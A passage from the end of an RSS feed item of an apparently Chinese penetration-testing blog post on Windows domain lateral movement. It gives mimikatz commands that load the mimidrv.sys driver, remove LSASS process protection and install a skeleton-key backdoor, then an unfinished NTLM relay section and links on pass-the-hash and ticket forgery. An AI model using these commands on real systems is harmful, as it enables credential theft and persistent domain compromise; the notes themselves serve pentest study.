&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;当然 mimikatz 依旧可以绕过，该功能需要导入mimidrv.sys文件，导入命令如下:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;privilege::debug
!+
!processprotect /process:lsass.exe /remove 
misc::skeleton`
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;ntlm中继&#34;&gt;NTLM中继&lt;/h2&gt;
&lt;p&gt;挖坑，待补&lt;/p&gt;
&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://xz.aliyun.com/t/8117&#34;&gt;浅探内网横向移动-Pass The Hash&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.freebuf.com/articles/246440.html&#34;&gt;内网横向移动：利用WMI来渗透&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/bmjoker/p/10355934.html&#34;&gt;内网渗透之IPC$入侵&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/&#34;&gt;浅析黄金票据与白银票据&lt;/a&gt;&lt;/p&gt;
</description>
                
                
                
                
                
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/categories/note/">note</category>
                                
                            
                        
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/%E6%B8%97%E9%80%8F/">渗透</category>
                                
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/%E5%86%85%E7%BD%91/">内网</category>
                                
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/%E5%9F%9F%E6%B8%97%E9%80%8F/">域渗透</category>
                                
                            
                        
                    
                
            </item>
        
    </channel>
</rss>
